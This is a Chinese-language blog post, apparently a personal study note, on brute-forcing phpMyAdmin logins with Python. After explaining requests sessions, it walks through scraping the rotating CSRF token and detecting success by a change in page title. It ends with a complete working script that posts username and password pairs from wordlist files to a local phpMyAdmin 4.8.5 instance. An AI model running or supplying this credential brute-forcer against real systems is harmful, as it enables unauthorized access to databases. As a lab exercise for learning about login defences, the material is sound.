LOADING...

dadada~

loading

Python爆破phpmyadmin


关于python的requests模块

  • 主要用来发 送 HTTP 请求
  • 每次调用 requests 请求之后,会返回一个 response 对象,该对象包含了具体的响应信息
  • text——返回响应的内容,unicode 类型数据
  • status_code——返回 http 的状态码
  • 关于requests的一些方法:
    • get(url, params, args)——发送 GET 请求到指定 url
    • post(url, data, json, args)——发送 POST 请求到指定 url
    • request(method, url, args)——向指定的 url 发送指定的请求方法
  • ss = requests.session() 会实例化一个会话对象
    • 会话对象能够跨请求保持某些参数,它也会在同一个 Session 实例发出的所有请求之间保持 cookie
    • 会话对象具有主要的 Requests API 的所有方法,可以当成 Request去使用

思路

  • 呜呜呜其实也没啥思路,这标题还挺不好意思的
  • 先是抓个包看看参数,然后还试了一下bp爆破但是那个返回长度看不出啥
  • 然后就一顿搜,发现bp确实是不行的,因为它这里那个参数 token 和 set_session 是一直在变的
  • 然后判断有没有成功登录是通过标题
  • 这里获取标题以及从源码里获取token用的是同一个方法:
    • findall(pattern, string, flags=0)——返回string中所有与pattern匹配的全部字符串,返回形式为数组
    • 因此获取token就可以用这段代码:findall("name=\"token\" value=\"(.*?)\" />", text)
  • 然后(一哥的)流程大概就是:
    • 先发了个post请求给这个页面,然后获取它返回的标题和token
    • 然后循环把存着用户名和密码的文件读入然后进行了utf-8编码,分别赋给pma_usernamepma_password
    • 然后再带着data发一个post请求,获取标题和token
    • 然后把传入data后获得的标题和传入之前的做比较,如果不相等,就说明登陆成功了
    • 成功了就把请求的url和对应的用户名密码写到文件里,失败了就继续循环
    • 然后就是token这里他还有个编码处理:
      • 使用html.unescape()方法,可以将ascii字符串转换为html脚本

接下来就是我查重率估计有99%的代码了

import requests
import re
import html

# url
url = 'http://127.0.0.1/phpMyAdmin4.8.5/index.php'
s = requests.session()
s.headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate'
}


def get_token(rp):
    token = re.findall('name=\"token\" value=\"(.*?)\" />', rp)
    return html.unescape(token[0]) if token else 'No token found'


def get_title(rp):
    title = re.findall('<title>(.*?)</title>', rp)
    return title[0] if title else 'No title found'


def set_data(user, password, token):
    data = {
        'pma_username': user,
        'pma_password': password,
        'server': 1,
        'target': 'index.php',
        'token': token
    }
    return data


def start_attacking():
    try:
        rp = s.post(url=url)
        token = get_token(rp.text)
        ta = get_title(rp.text)
        with open('user.txt', 'r+') as u:
            for i in u:
                with open('password.txt', 'r+') as p:
                    for j in p:
                        user = i.strip()
                        password = j.strip()
                        rp = s.post(url=url, data=set_data(user, password, token))
                        token = get_token(rp.text)
                        tb = get_title(rp.text)
                        if ta != tb:
                            print('Success! user: ' + user + ' | password: ' + password)
                            return 1
                        else:
                            pass
    except Exception as e:
        print(e.args)
        return -1
    return 0


if __name__ == "__main__":
    rs = start_attacking()
    if rs == 0:
        print('Fail! No matching user and password were found in the files.')
    else:
        pass